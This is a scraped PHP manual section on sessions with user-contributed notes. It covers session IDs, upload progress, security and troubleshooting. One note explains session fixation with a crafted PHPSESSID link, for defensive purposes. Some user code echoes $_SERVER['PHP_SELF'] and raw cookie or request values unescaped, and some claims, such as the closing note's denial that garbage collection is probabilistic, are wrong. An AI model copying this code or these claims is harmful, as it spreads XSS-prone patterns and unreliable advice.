Two other settings that I thought might be relevant were not.  session.use_only_cookies  and session.use_trans_sid have no effect at all on the evaluation of SID for a specific line in the code, that is, in  regard to whether or not it is evaluated as an empty string or as the session info.

And as to functioning in your code, using both session.use_trans_sid and also successfully evaluating SID for session info (as described above) will create a doubling of the session info, screwing up the path you are trying to create.
Resource Types
Examples
Sessions


Examples

Table of Contents

  • Basic usage
  • Passing the Session ID
  • Custom Session Handlers

User Contributed Notes

Anonymous 16-Dec-2011 02:01
To avoid re-submits I add a random-number $rand to the form by "GET".

(action='file.php?rand= $rand').

Further, the $rand is stored in a SESSION-variable.

Everytime the file ist called,  the functions will only be processed if the $rand that comes by "GET" is not identical to the $rand in the SESSION-variable.

If someone comes there by pressing the "back" key of his browser, the 2 $rand will be identical and nothing will happen.

That works perfect.
MMz0r 22-Nov-2011 11:18
Redirect using header() to prevent HTML-form resubmits (via previous page and F5) in sessions.
Chris 07-Feb-2011 08:52
It took me a while to find out how to use PHP sessions to prevent HTML form re-submits. A user can re-submit a form via the backspace key/back arrow and/or the F5/refresh key. I needed to control if/when a HTML form could be resubmitted. Here's what I came up with:

<?php
$SID = session_id();
if(empty($SID)) session_start() or exit(basename(__FILE__).'(): Could not start session');
$_SESSION['err'] = ''; $exit = false;
do {
    //    check if form was previously submitted
    if(isset($_POST['submit']) and isset($_POST['SID']) and ($_POST['SID'] !== session_id())) {
        $ret = null; $exit = true; break; }
    //    break out of do-while if form has not been submitted yet
    if(empty($_POST['submit'])) break;
    //    process form data if user hit form "submit" button
    if(isset($_POST['submit'])) {
        $ret = validate_form();
        //    ret will be error message if form validation failed
        if(is_string($ret)) { $_SESSION['err'] = $ret; break; }
        //    ret will be array of cleaned form values if validation passed
        if(is_array($ret)) { session_regenerate_id(true); $exit = true; break; }
    }
} while(false);

if($exit) display_receipt($ret);
$exit and exit;

function validate_form() {
    $tmp = htmlspecialchars(strtoupper($_POST['name']));    //    clean POST data
    if(stripos($_POST['great'], 'yes') !== false) return array('name' => $tmp, 'great' => 'YES!');
    return 'Wrong answer!';
}

function display_receipt($msg) {
    if($msg === null) echo 'You already answered the question!';
    if(is_array($msg)) echo 'Your answer of '.$msg['great'].' is right '.$msg['name'];
    return;
}
?>

<html><body>
<?php echo $_SESSION['err']; ?>
<form name="form1" action="http://<?php echo $_SERVER['HTTP_HOST'], $_SERVER['PHP_SELF']; ?>" method="post">
Name: <input type="text" name="name" value="<?php isset($_SESSION["name"]) and print $_SESSION["name"]; ?>">
Is PHP great? <input type="text" name="great" value="<?php isset($_SESSION["great"]) and print $_SESSION["great"]; ?>">
<input type="hidden" name="SID" value="<?php echo session_id(); ?>">
<input type="submit" name="submit" value="Submit">
</form></body></html>
ranc at mobixell dot com 07-Apr-2009 04:24
I have wrote this following piece of code that shows how to work with global sessions (global to all clients) and private sessions (private per browser instance i.e. session cookie).

This code is usefull to store some read-only complex configuration and store it once (per server) and save the performance penatly for doing the same thing over each new private session...

Enjoy:
<?php
    // Get the private context
    session_name('Private');
    session_start();
    $private_id = session_id();
    $b = $_SESSION['pr_key'];
    session_write_close();

    // Get the global context
    session_name('Global');
    session_id('TEST');
    session_start();

    $a = $_SESSION['key'];
    session_write_close();

    // Work & modify the global & private context (be ware of changing the global context!)
 ?>
<html>
    <body>
        <h1>Test 2: Global Count is: <?=++$a?></h1>
        <h1>Test 2: Your Count is: <?=++$b?></h1>
        <h1>Private ID is <?=$private_id?></h1>
        <h1>Gloabl ID is <?=session_id()?></h1>
        <pre>
        <?php print_r($_SESSION); ?>
        </pre>
    </body>
 </html>
 <?php
    // Store it back
    session_name('Private');
    session_id($private_id);
    session_start();
    $_SESSION['pr_key'] = $b;
    session_write_close();

    session_name('Global');
    session_id('TEST');
    session_start();
    $_SESSION['key']=$a;
    session_write_close();
?>

[EDIT BY danbrown AT php DOT net: Contains a bugfix provided by (lveillette AT silexmultimedia DOT com) on 19-NOV-09.]
Predefined Constants
Basic usage
Sessions


Basic usage

Note:

As of PHP 4.1.0, $_SESSION is available as a global variable just like $_POST, $_GET, $_REQUEST and so on. Unlike $HTTP_SESSION_VARS, $_SESSION is always global. Therefore, you do not need to use the global keyword for $_SESSION. Please note that this documentation has been changed to use $_SESSION everywhere. You can substitute $HTTP_SESSION_VARS for $_SESSION, if you prefer the former. Also note that you must start your session using session_start() before use of $_SESSION becomes available.

The keys in the $_SESSION associative array are subject to the same limitations as regular variable names in PHP, i.e. they cannot start with a number and must start with a letter or underscore. For more details see the section on variables in this manual.

If register_globals is disabled, only members of the global associative array $_SESSION can be registered as session variables. The restored session variables will only be available in the array $_SESSION.

Use of $_SESSION (or $HTTP_SESSION_VARS with PHP 4.0.6 or less) is recommended for improved security and code readability. With $_SESSION, there is no need to use the session_register(), session_unregister(), session_is_registered() functions. Session variables are accessible like any other variables.

Example #1 Registering a variable with $_SESSION.

<?php
session_start();
// Use $HTTP_SESSION_VARS with PHP 4.0.6 or less
if (!isset($_SESSION['count'])) {
  $_SESSION['count'] = 0;
} else {
  $_SESSION['count']++;
}
?>

Example #2 Unregistering a variable with $_SESSION and register_globals disabled.

<?php
session_start();
// Use $HTTP_SESSION_VARS with PHP 4.0.6 or less
unset($_SESSION['count']);
?>

Caution

Do NOT unset the whole $_SESSION with unset($_SESSION) as this will disable the registering of session variables through the $_SESSION superglobal.

Warning

You can't use references in session variables as there is no feasible way to restore a reference to another variable.

If register_globals is enabled, then each global variable can be registered as session variable. Upon a restart of a session, these variables will be restored to corresponding global variables. Since PHP must know which global variables are registered as session variables, users need to register variables with session_register() function. You can avoid this by simply setting entries in $_SESSION.

Caution

Before PHP 4.3.0, if you are using $_SESSION and you have disabled register_globals, don't use session_register(), session_is_registered() or session_unregister(). Disabling register_globals is recommended for both security and performance reasons.

If register_globals is enabled, then the global variables and the $_SESSION entries will automatically reference the same values which were registered in the prior session instance. However, if the variable is registered by $_SESSION then the global variable is available since the next request.

There is a defect in PHP 4.2.3 and earlier. If you register a new session variable by using session_register(), the entry in the global scope and the $_SESSION entry will not reference the same value until the next session_start(). I.e. a modification to the newly registered global variable will not be reflected by the $_SESSION entry. This has been corrected in PHP 4.3.0.

User Contributed Notes

There are no user contributed notes for this page.
Examples
Passing the Session ID
Examples


Passing the Session ID

There are two methods to propagate a session id:

  • Cookies
  • URL parameter

The session module supports both methods. Cookies are optimal, but because they are not always available, we also provide an alternative way. The second method embeds the session id directly into URLs.

PHP is capable of transforming links transparently. Unless you are using PHP 4.2.0 or later, you need to enable it manually when building PHP. Under Unix, pass --enable-trans-sid to configure. If this build option and the run-time option session.use_trans_sid are enabled, relative URIs will be changed to contain the session id automatically.

Note:

The arg_separator.output php.ini directive allows to customize the argument seperator. For full XHTML conformance, specify &amp; there.

Alternatively, you can use the constant SID which is defined if the session started. If the client did not send an appropriate session cookie, it has the form session_name=session_id. Otherwise, it expands to an empty string. Thus, you can embed it unconditionally into URLs.

The following example demonstrates how to register a variable, and how to link correctly to another page using SID.

Example #1 Counting the number of hits of a single user

<?php

session_start();

if (empty($_SESSION['count'])) {
 $_SESSION['count'] = 1;
} else {
 $_SESSION['count']++;
}
?>

<p>
Hello visitor, you have seen this page <?php echo $_SESSION['count']; ?> times.
</p>

<p>
To continue, <a href="nextpage.php?<?php echo htmlspecialchars(SID); ?>">click
here</a>.
</p>

The htmlspecialchars() may be used when printing the SID in order to prevent XSS related attacks.

Printing the SID, like shown above, is not necessary if --enable-trans-sid was used to compile PHP.

Note:

Non-relative URLs are assumed to point to external sites and hence don't append the SID, as it would be a security risk to leak the SID to a different server.

User Contributed Notes

Anonymous 16-Mar-2010 10:23
The first time a page is accessed, PHP doesn't yet know if the browser is accepting cookies or not, so after session_start() is called, SID will be non-empty, and the PHPSESSID gets inserted in all link URLs on that page that are properly using SID.

This has the consequence that if, for example, a search engine bot hits your home page first, all links that it sees on your home page will have the ugly PHPSESSID=... in them.

This appears to be the default behavior. A work-around is to turn on session.use_only_cookies, but then you lose session data for anyone who has their cookies turned off.
CT Thompson 17-Jul-2009 01:17
The previous user is correct, but you can get around this by starting your sessions like this:

session_start($mysession);

Or you can set up an if statement that determines if $mysession is set and whatnot...
a dot nielsen at shikadi dot net 09-Feb-2009 06:49
When you generate URLs yourself using the SID variable, it must come first in the URL parameter list.  For example, if SID expands to "mysession=123" then this does NOT work:

  file.php?var1=value&mysession=123

The SID must come first:

  file.php?mysession=123&var1=value

If the SID does not come first then session_start() does not recognise it and it creates a new session instead of loading the old one.
Basic usage
Custom Session Handlers
Examples


Custom Session Handlers

To implement database storage, or any other storage method, you will need to use session_set_save_handler() to create a set of user-level storage functions.

User Contributed Notes

There are no user contributed notes for this page.
Passing the Session ID
Session Upload Progress
Examples


Session Upload Progress

When the session.upload_progress.enabled INI option is enabled, PHP will be able to track the upload progress of individual files being uploaded. This information isn't particularly useful for the actual upload request itself, but during the file upload an application can send an POST request to a separate endpoint (via XHR for example) to check the status.

The upload progress will be available in the $_SESSION superglobal when an upload is in progress, and when POSTing a variable of the same name as the session.upload_progress.name INI setting is set to. When PHP detects such POST requests, it will populate an array in the $_SESSION, where the index is a concatenated value of the session.upload_progress.prefix and session.upload_progress.name INI options. The key is typically retrieved by reading these INI settings, i.e.

<?php
$key = ini_get("session.upload_progress.prefix") . ini_get("session.upload-progress.name");
var_dump($_SESSION[$key]);
?>

It is also possible to cancel the currently in-progress file upload, by setting the $_SESSION[$key]["cancel_upload"] key to TRUE. When uploading multiple files in the same request, this will only cancel the currently in-progress file upload, and pending file uploads, but will not remove successfully completed uploads. When a upload is cancelled like this, the error key in $_FILES array will be set to UPLOAD_ERR_EXTENSION.

The session.upload_progress.freq and session.upload_progress.min_freq INI options control how frequent the upload progress information should be recalculated. With a reasonable amount for these two settings, the overhead of this feature is almost non-existent.

Example #1 Example information

Example of the structure of progress upload array.

<form action="upload.php" method="POST" enctype="multipart/form-data">
 <input type="hidden" name="<?php echo ini_get("session.upload_progress.name"); ?>" value="123" />
 <input type="file" name="file1" />
 <input type="file" name="file2" />
 <input type="submit" />
</form>

The data stored in the session will look like this:

<?php
$_SESSION["upload_progress_123"] = array(
 "start_time" => 1234567890,   // The request time
 "content_length" => 57343257, // POST content length
 "bytes_processed" => 453489,  // Amount of bytes received and processed
 "done" => false,              // true when the POST handler has finished, successfully or not
 "files" => array(
  0 => array(
   "field_name" => "file1",       // Name of the <input/> field
   // The following 3 elements equals those in $_FILES
   "name" => "foo.avi",
   "tmp_name" => "/tmp/phpxxxxxx",
   "error" => 0,
   "done" => true,                // True when the POST handler has finished handling this file
   "start_time" => 1234567890,    // When this file has started to be processed
   "bytes_processed" => 57343250, // Amount of bytes received and processed for this file
  ),
  // An other file, not finished uploading, in the same request
  1 => array(
   "field_name" => "file2",
   "name" => "bar.avi",
   "tmp_name" => NULL,
   "error" => 0,
   "done" => false,
   "start_time" => 1234567899,
   "bytes_processed" => 54554,
  ),
 )
);

User Contributed Notes

takeone 02-Dec-2011 07:12
IE6 does not inherit session when you launch new browser from start menu or shortcut.It's the feature.
It is recommended that upload form and progress bar are on same window.
gerd dot randolf at web dot de 09-Nov-2011 07:29
Note that this will be available from PHP 5.4 on. It won't work in PHP 5.3 or earlier.
Custom Session Handlers
Sessions and security
Sessions


Sessions and security

External links: » Session fixation

The session module cannot guarantee that the information you store in a session is only viewed by the user who created the session. You need to take additional measures to actively protect the integrity of the session, depending on the value associated with it.

Assess the importance of the data carried by your sessions and deploy additional protections -- this usually comes at a price, reduced convenience for the user. For example, if you want to protect users from simple social engineering tactics, you need to enable session.use_only_cookies. In that case, cookies must be enabled unconditionally on the user side, or sessions will not work.

There are several ways to leak an existing session id to third parties. A leaked session id enables the third party to access all resources which are associated with a specific id. First, URLs carrying session ids. If you link to an external site, the URL including the session id might be stored in the external site's referrer logs. Second, a more active attacker might listen to your network traffic. If it is not encrypted, session ids will flow in plain text over the network. The solution here is to implement SSL on your server and make it mandatory for users.

User Contributed Notes

saamde at gmail dot com 11-Jun-2010 06:27
One thing I do is encrypt everything server side that passes into my $_SESSION array.   This might be overkill, but if anyone can see or gets access to my $_SESSION array it'll be encrypted gibberish and my system won't process anything coming from the $_SESSION array unless it matches my encryption key.
bmearns at ieee dot org 27-Jan-2009 11:41
In addition to ip-address binding not always being effective, it can also prevent users connecting through a proxy-pool from even being able to use your site. In such a scenario, a person's IP address may very well change with every access.

If you're handling anything remotely secure, the only safe option is HTTPS. If the data doesn't need to be that secure, than you should not allow a high-jacked session to do too much damage. Basically, don't assume that a person really is who they pretend to be just because the session says a person authenticated with a username and password: it may have been that person who logged in, but that doesn't mean it's still that person. So if you're going to do something like change passwords or something, require them to authenticate again on the same form.

Of course this needs to be done in some secure way, as well, so that the password is not just floating over the network. A good way to do this is sending a nonce (number-used-once) along with the form and some javascript to concatenate the nonce to the password, then perform a cryptographic hash of the combined string. The resulting valid-once "password" should then be sent instead of the plain text password. To be effective, you also need to prevent people from using the form if they don't have JavaScript enabled. You can do this by disabling the form fields in HTML, then re-enabling them in JavaScript.
justin at fatbird dot ca 18-Jan-2009 06:56
IP checking is a sometimes useful feature with two limitations that are important to be aware of:

1. Anyone surfing behind a proxy (e.g., someone at work) will provide the proxy's IP, not his own.  Session ID replay attacks will not be prevented by IP checking for an attacker on the user's side of the proxy.

2. If the PHP application is behind a reverse proxy, the reverse proxy's IP address will be the only request IP seen by PHP, so IP checking is useless.
Anurag Jain 12-Dec-2008 09:28
Websites which have sensitive information need to be patched to ensure its not exploited because of session issues.

In earlier versions of apache cookie reliability was not assumed and hence the default method was always using url-rewrite which meant every url link, every form submission etc would have a PHPSESSID=<sessionid> passed along to inform the server about the active session. New versions have turned this off using

session.use_trans_sid = 0

in the /etc/php5/apache2/php.ini file.

Reasons?
Well one might safe the offline page as a bookmark or pass the link across to others not realizing that the session id information is also sent. So someone who quickly accesses these pages could possible get logged on, this was also true wrt search engines, and I guess in some cases it being seen as duplicate content as the same page will have a different session id every time the robots scan the website.

But having this set does not mean you are protected. Let me explain.
What prevents me from presetting the session id! Assume there is a banking site www.example.com which has a login screen at www.example.com/login.php
I can send you can email with a link to the bank site as http://www.example.com/login.php?PHPSESSID=12345
When you click on the link it presents the session id as 12345 rather then asking the server to generate a new one. This is called session fixation. Keep in mind even with session.use_trans_sid = 0 this will work as this sets it only not to use url-rewrite. To prevent this altogether set session.use_only_cookies = 1 which ensures that only cookies will be used, but this could cause problems when dealing with transaction which involve switch sites, i.e. siteA forwards to site B for payment which forwards to siteA for thank you, in which case a phpsessid inform might be used to revive the old session.

A good approach would always be to at the login screen and immediately post login to force a new session id generated using random numbers

session_start();
$newsessid = somerandomnumberfunction();
session_id($newsessid);

you can also use session_regenerate_id() function to generate a new id

session_start();
session_regenerate_id();

Also its always good to ensure every valid session is checked against an ip. One good method is to store the session id and remote ip information in a table, or better store the ip as a session variable itself, once the user logs in and ensure that this is continued for remaining pages for security. This ofcourse wont work when users use the same office or shared network as the ip to the outside world is the same.

https is always a good idea for sensitive sites, but keeping it persistent for all pages which use session is important if you really want a foolproof system else anyone can always sniff your packets.

So to quickly go through the bits

- set session.use_trans_sid = 0 in /etc/php5/apache2/php.ini file.
- Ensure you always use a new self generated session id on successful login attempt.
- Try setting session.use_only_cookies = 1 and check if all works fine.
- Use https throughout to ensure no one can sniff your session id.
- Store session id, remote IP information and compare for successive pages
JonathanFeller at NOSPAMgmx dot ch 27-Oct-2008 12:22
Perhaps, you would also like to timeout a session after some idle time. I noticed that session.gc_maxlifetime is not suitable for this. So I used this code to do the job:

<?php
if (!isset($_SESSION['timeout_idle'])) {
    $_SESSION['timeout_idle'] = time() + MAX_IDLE_TIME;
} else {
    if ($_SESSION['timeout_idle'] < time()) {
        //destroy session
    } else {
        $_SESSION['timeout_idle'] = time() + MAX_IDLE_TIME;
    }
}
?>
Olle Bergkvist 21-Oct-2008 03:47
It is also quite important to (somehow) make sure that the cookies you're setting (including the session cookie) is only visible to the site that created it (or to other trusted sites only).

If the cookie's path is set to '/' (the whole domain), then any website on the same domain (might be lots of websites) _will_ get the cookie through HTTP headers and could possibly hijack your session.

One slightly acceptable protection would be to lock a session to one IP adress.
Session Upload Progress
Session Functions
Sessions


Session Functions

Table of Contents

  • session_cache_expire — Return current cache expire
  • session_cache_limiter — Get and/or set the current cache limiter
  • session_commit — Alias of session_write_close
  • session_decode — Decodes session data from a string
  • session_destroy — Destroys all data registered to a session
  • session_encode — Encodes the current session data as a string
  • session_get_cookie_params — Get the session cookie parameters
  • session_id — Get and/or set the current session id
  • session_is_registered — Find out whether a global variable is registered in a session
  • session_module_name — Get and/or set the current session module
  • session_name — Get and/or set the current session name
  • session_regenerate_id — Update the current session id with a newly generated one
  • session_register_shutdown — Session shutdown function
  • session_register — Register one or more global variables with the current session
  • session_save_path — Get and/or set the current session save path
  • session_set_cookie_params — Set the session cookie parameters
  • session_set_save_handler — Sets user-level session storage functions
  • session_start — Initialize session data
  • session_status — Returns the current session status
  • session_unregister — Unregister a global variable from the current session
  • session_unset — Free all session variables
  • session_write_close — Write session data and end session

User Contributed Notes

Sam Yong - hellclanner at live dot com 27-Jul-2011 02:01
The following has been tested true in PHP 5.3.5.

Setting the session variables after the execution of the script i.e. in __destruct function, will not work.

<?php

class Example{

    function __destruct(){
        $_SESSION['test'] = true;
        session_write_close();
    }

}

?>

The above example will write nothing into the temporary session file, as I observed through a custom Session Save Handler.
jitchavan at gmail dot com 01-Apr-2011 06:43
IE issue :-

when form target set to iframe source and after posting form content you are setting session variables,
In this scenario if parent page having image src blank then session values set in iframe action page will be LOST surprisingly in IE ONLY.Solution is quite simple don't keep Image src blank.
ted at tedmurph dot com 07-Oct-2010 05:34
I was having problems with $_SESSION information not being written or being lost in a seemingly random way.  There was a Location: call being made deep in a Zend OAuth module, I am using an IIS server with PHP as a CGI, etc.

The answer was simply that you need to have the domain be consistent for sessions to work consistently.  In my case, I was switching back and forth between www.EXAMPLE.com:888 and EXAMPLE.com:888.  The unusual port, the hidden Location: call, the handoff with OAuth, etc all served to confuse me, but the intermitent error was caused by this simple goof of keeping the domain consistent.
hinom06 [at] hotmail.co.jp 29-Aug-2010 10:28
simple session test version 1.1

<?php
/* [EDIT by danbrown AT php DOT net:
   The author of this note named this
   file tmp.php in his/her tests. If
   you save it as a different name,
   simply update the links at the
   bottom to reflect the change.] */

error_reporting( E_ALL );
ini_set( 'display_errors', 1);
date_default_timezone_set('Asia/Tokyo');

//ini_set( 'session.save_path', '/tmp' ); // for debug purposes

session_start();

// check if session_id() exists.
/*
for example, if exists and session wont read, must send session.name as parameter in URL.

Some servers configurations may have problem to recognize PHPSESSID, even if transid value is 0 or 1.
So, this test is usefull to identify any causes.

*/
if( session_id() == '' )
{
    echo 'session_id() empty';
}else{
    echo session_id();
}
echo '<hr>';

$sessPath   = ini_get('session.save_path');
$sessCookie = ini_get('session.cookie_path');
$sessName   = ini_get('session.name');
$sessVar    = 'foo';

echo '<br>sessPath: ' . $sessPath;
echo '<br>sessCookie: ' . $sessCookie;

echo '<hr>';

if( !isset( $_GET['p'] ) ){
    // instantiate new session var
    $_SESSION[$sessVar] = 'hello world';
}else{
    if( $_GET['p'] == 1 ){

        // printing session value and global cookie PHPSESSID
        echo $sessVar . ': ';
        if( isset( $_SESSION[$sessVar] ) ){
            echo $_SESSION[$sessVar];
        }else{
            echo '[not exists]';
        }

        echo '<br>' . $sessName . ': ';

        if( isset( $_COOKIE[$sessName] ) ){
        echo $_COOKIE[$sessName];
        }else{
            if( isset( $_REQUEST[$sessName] ) ){
            echo $_REQUEST[$sessName];
            }else{
                if( isset( $_SERVER['HTTP_COOKIE'] ) ){
                echo $_SERVER['HTTP_COOKIE'];
                }else{
                echo 'problem, check your PHP settings';
                }
            }
        }

    }else{

        // destroy session by unset() function
        unset( $_SESSION[$sessVar] );

        // check if was destroyed
        if( !isset( $_SESSION[$sessVar] ) ){
            echo '<br>';
            echo $sessName . ' was "unseted"';
        }else{
            echo '<br>';
            echo $sessName . ' was not "unseted"';
        }

    }
}
?>
<hr>
<a href=tmp.php?p=1&<?php echo $sessName . '=' . session_id();?>>test 1 (printing session value)</a>
<br>
<a href=tmp.php?p=2&<?php echo $sessName . '=' . session_id();?>>test 2 (kill session)</a>
Trevor Brown 04-Aug-2010 08:17
A confirmation of behaviour, just in case this saves anyone else some time...

There is (potentially) a special case when session.gc_probability = 0 and session.gc_divisor = 0.  Depending on how they wanted to work their maths underneath, the coders *might* have opted to interpret 0/0 as 1 (which is sometimes assumed in certain maths proofs), but thankfully it seems they haven't.  With both values set to 0, the session code will follow the spirit of the directives and invoke the garbage collector with zero probability.  At least this is true with php 5.2.5 (which, to be certain, I inspected the source of).

To be safe, however, setting both to zero is *probably* not a good idea because usually 0/0 is undefined, so it could presumably mean anything (some arguments exist that claim 0/0 is equal to every fraction).  Wouldn't you rather know for sure what your probability was set to?  In other words, don't set gc_divisor = 0
Jeremy Speer 19-Feb-2010 12:14
When working on a project, I found a need to switch live sessions between two different pieces of software. The documentation to do this is scattered all around different sites, especially in comments sections rather than examples. One difficulty I encountered was the session save handler for one of the applications was set, whereas the other was not. Now, I didn't code in the function session_set_save_handler(), instead I utilize that once I'm done with the function (manually), however this function could easily be extended to include that functionality. Basically, it is only overriding the system's default session save handler. To overcome this after you have used getSessionData(), just call session_write_close(), session_set_save_handler() with the appropriate values, then re-run session_name(), session_id() and session_start() with their appropriate values. If you don't know the session id, it's the string located in $_COOKIE[session_name], or $_REQUEST[session_name] if you are using trans_sid. [note: use caution with trusting data from $_REQUEST, if at all possible, use $_GET or $_POST instead depending on the page].

<?php
function getSessionData ($session_name = 'PHPSESSID', $session_save_handler = 'files') {
    $session_data = array();
    # did we get told what the old session id was? we can't continue it without that info
    if (array_key_exists($session_name, $_COOKIE)) {
        # save current session id
        $session_id = $_COOKIE[$session_name];
        $old_session_id = session_id();

        # write and close current session
        session_write_close();

        # grab old save handler, and switch to files
        $old_session_save_handler = ini_get('session.save_handler');
        ini_set('session.save_handler', $session_save_handler);

        # now we can switch the session over, capturing the old session name
        $old_session_name = session_name($session_name);
        session_id($session_id);
        session_start();

        # get the desired session data
        $session_data = $_SESSION;

        # close this session, switch back to the original handler, then restart the old session
        session_write_close();
        ini_set('session.save_handler', $old_session_save_handler);
        session_name($old_session_name);
        session_id($old_session_id);
        session_start();
    }

    # now return the data we just retrieved
    return $session_data;
}
?>
brfelipe08 at hotmail dot com 28-Aug-2009 06:26
If you need to use sessions, and some accents required for some Latin-based languages, you should encode your files in ISO-8859-1.
You will run into some problems if you try to use UTF-8 - with or without BOM -, and ANSI will not support accents.
ISO-8859-1 will both support sessions and the accents.
edA-qa at disemia dot com 08-May-2009 12:18
WARNING for Debian users.  Just to drive you completely crazy Debian does its own form of session management and will completely ignore all alterations to the values who do within your PHP script.

Debian sets up a <crontab /etc/cron.d/php5> which deletes all files, including those in subdirectories, which exceed the gc_maxlifetime specified in the <php.ini> file only.

That is, on Debian (and likely variants like Ubuntu) modifying the session expiration settings (like gc_maxlifetime) does *NOTHING*.  You *HAVE* to modify the global <php.ini>.  Not even a <.htaccess> file will help you.
edA-qa at disemia dot com 07-May-2009 05:14
Sessions may be deleted before the time limit you set in gc_maxlifetime.

If you have multiple pages on the same server, each using the session (the same or distinct named sessions, it doesn't matter), the *minimum* gc_maxlifetime of any of those scripts ends up being the effective lifetime of the session files.

This can also apply to the lifetime coming from a CLI invocation of a PHP script on that machine which happens to use the session.

This can be bothersome since even though you think all your pages include the same file which sets up the script, even a single PHP page which doesn't can invoke the GC and have the scripts deleted.

Thus, if you need to set a long gc_maxlifetime you are best doing this through the INI file or in a .htaccess file for the entire directory.
LaurentT 03-Dec-2008 02:51
For UNIX :

One might encounter some problems with sessions, having different sites on the same server : sessions would either merge if one is using more than one site at a time or crash if sites are owned by different system users. For instance :

www.example.com is stored in /home/site1/www
www.example.net is stored in /home/site2/www

Using both www.example.com and www.example.net would cause sessions to act weird.

If you're using PHP as an Apache module, you can easely use php_value in the http.conf to set a unique session.name depending on the site. If you're using suPHP though (PHP as CGI) you can't use php_value, though you can use suPHP_ConfigPath.

Here's an example :

<VirtualHost 10.10.10.10:8081>
    DocumentRoot /home/site1/www
    ServerName www.example.com
    suPHP_ConfigPath /home/site1/server_config
</VirtualHost>
<VirtualHost 10.10.10.10:8082>
    DocumentRoot /home/site2/www
    ServerName www.example.net
    suPHP_ConfigPath /home/site2/server_config
</VirtualHost>

Each server_config folder contain a php.ini file specific to the vHost. You then just have to change the values of each session.name to unique ones and you're done !
hinom - iMasters 04-Jun-2008 09:00
simple session test

<?php
/* [EDIT by danbrown AT php DOT net:
   The author of this note named this
   file tmp.php in his/her tests. If
   you save it as a different name,
   simply update the links at the
   bottom to reflect the change.] */

session_start();

$sessPath   = ini_get('session.save_path');
$sessCookie = ini_get('session.cookie_path');
$sessName   = ini_get('session.name');
$sessVar    = 'foo';

echo '<br>sessPath: ' . $sessPath;
echo '<br>sessCookie: ' . $sessCookie;

echo '<hr>';

if( !isset( $_GET['p'] ) ){
    // instantiate new session var
    $_SESSION[$sessVar] = 'hello world';
}else{
    if( $_GET['p'] == 1 ){

        // printing session value and global cookie PHPSESSID
        echo $sessVar . ': ';
        if( isset( $_SESSION[$sessVar] ) ){
            echo $_SESSION[$sessVar];
        }else{
            echo '[not exists]';
        }

        echo '<br>' . $sessName . ': ';

        if( isset( $_COOKIE[$sessName] ) ){
        echo $_COOKIE[$sessName];
        }else{
            if( isset( $_REQUEST[$sessName] ) ){
            echo $_REQUEST[$sessName];
            }else{
                if( isset( $_SERVER['HTTP_COOKIE'] ) ){
                echo $_SERVER['HTTP_COOKIE'];
                }else{
                echo 'problem, check your PHP settings';
                }
            }
        }

    }else{

        // destroy session by unset() function
        unset( $_SESSION[$sessVar] );

        // check if was destroyed
        if( !isset( $_SESSION[$sessVar] ) ){
            echo '<br>';
            echo $sessName . ' was "unseted"';
        }else{
            echo '<br>';
            echo $sessName . ' was not "unseted"';
        }

    }
}
?>
<hr>
<a href=tmp.php?p=1>test 1 (printing session value)</a>
<br>
<a href=tmp.php?p=2>test 2 (kill session)</a>
paul at shirron dot net 05-May-2008 07:19
In php.ini, I have:

session.save_path="C:\DOCUME~1\pjs9486\LOCALS~1\Temp\php\session"

I was cleaning out the temp directory, and deleted the php directory. Session stuff quit working. I re-created the php directory. Still no luck. I re-created the session directory in the php directory, and session stuff resumed working.

I would have expected session_start() to have re-created directories in the path, if they didn't exist, but, it doesn't.

Note to self: Don't do that again!!!!
Vextor 04-Apr-2008 08:24
It seems that the garbage engine can't delete the expired session related to the itself. If there is only one session, it won't expire even if it has expired the gc_maxlifetime set.

It will be necessary another client connecting, starting a different session, and the garbage collector of this new session will be able to clean the other expired sessions.

I tested this in Windows with file sessions.
session a emailaddress d cjb d net 28-Mar-2008 11:33
It doesn't appear in the documentation, or in anyone's comment here, but setting session.gc_maxlifetime to 0 means the session will not expire until the browser is closed.

Of course this still doesn't fix the problems associated with the garbage collector doing it's own thing.
The best solution to that still appears to be changing session.save_path
Csar 07-Mar-2008 07:38
There's a bug in Internet explorer in which sessions do not work if the name of the server is not a valid name. For example...if your server is called web_server (_ isn't a valid character), if you call a page which uses sessions like http://web_server/example.php your sessions won't work but sessions will work if you call the script like this
[IP NUMBER]/example.php
Niko 24-Feb-2008 02:07
to anonymousleaf at gmail dot com:

you can get the same result by using this much simplier function call:

<?php
session_start();
session_regenerate_id();
?>
at the top of the file.
Anonymous 18-Dec-2007 11:10
Hey people,

   This caused a minimal amount of discomfort, but however was quickly solved when I peeked in the php.ini and saw that the entire 'session.save_path' was commented out!  This must have been from the version change from 5.0 to 5.2, and sessions naturally began to work correctly when I removed the comment token and filled in the value like so (using Apache):

session.save_path = "c:\Windows\Temp"

Maybe this will serve as a starting point and save some time for some of you out there who start from a fresh php.ini.

--Matthew
carl /a/ suchideas /o/ com 30-Sep-2007 09:45
Another gotcha to add to this list is that using a relative session.save_path is a VERY BAD idea.

You can just about pull it off, if you're very careful, but note two related points:

1) The path is taken relative to the directory of the ORIGINALLY executed script, so unless all pages are run from the same directory, you'll have to set the directory separately in each individual subfolder

2) If you call certain functions, such as session_regenerate_id(), PHP will try to take the session directory relative to the exectuable, or something like that, creating an error IN the executable. This provides slightly cryptic error messages, like this:

Warning: Unknown: open(relative_path\ilti9oq3j9ks0jvih1fmiq4sv1.session, O_RDWR) failed: No such file or directory (2) in Unknown on line 0

Warning: Unknown: Failed to write session data (files). Please verify that the current setting of session.save_path is correct (relative_path) in Unknown on line 0

... so don't even bother. Just use

<?php ini_set("session.save_path",dirname(__FILE__)."/relative_path"); ?>

(or equivalent) in a file which you know is always in the same place relative to the file.

{PHP version 5.1.6}
jsnell at e-normous dot com 29-Aug-2007 01:58
Careful not to try to use integer as a key to the $_SESSION array (such as $_SESSION[0] = 1;)  or you will get the error "Notice: Unknown: Skipping numeric key 0. in Unknown on line 0"
Nigel Barlass 28-Jun-2007 06:07
Lima's note on sessions and browser's tabs needs to be modified for my version of php as the call to uniqid('') will return an alphanumeric string.
Hence the ereg statement should be:
if(!ereg('^SESS[0-9a-z]+$',$_REQUEST['SESSION_NAME'])) {...
legolas558 d0t users dot sf dot net 01-May-2007 08:45
To clear out a possible doubt of other readers which have read this part of "Eric dot Deplagne at nerim dot net" note:

--------
In fact, two other variables (at least) play a role in session duration, and will explain that the session might last more than expected. The gc erasing your data is a probabilistic thing. Each time a session is opened, the probability the gc is started is session.gc_probability/session.gc_divisor. session.gc_probability defaults to 1 and session.gc_divisor defaults to 100, which makes a 1% probability.

This is to have sessions long enough. I'm unsure about having sessions lasting exactly the time we want them to.
--------

The gc erasing of the sessions is NOT a probabilistic thing, they are erased ONLY when they are older than the number of seconds specified in "session.gc_maxlifetime" ini setting.

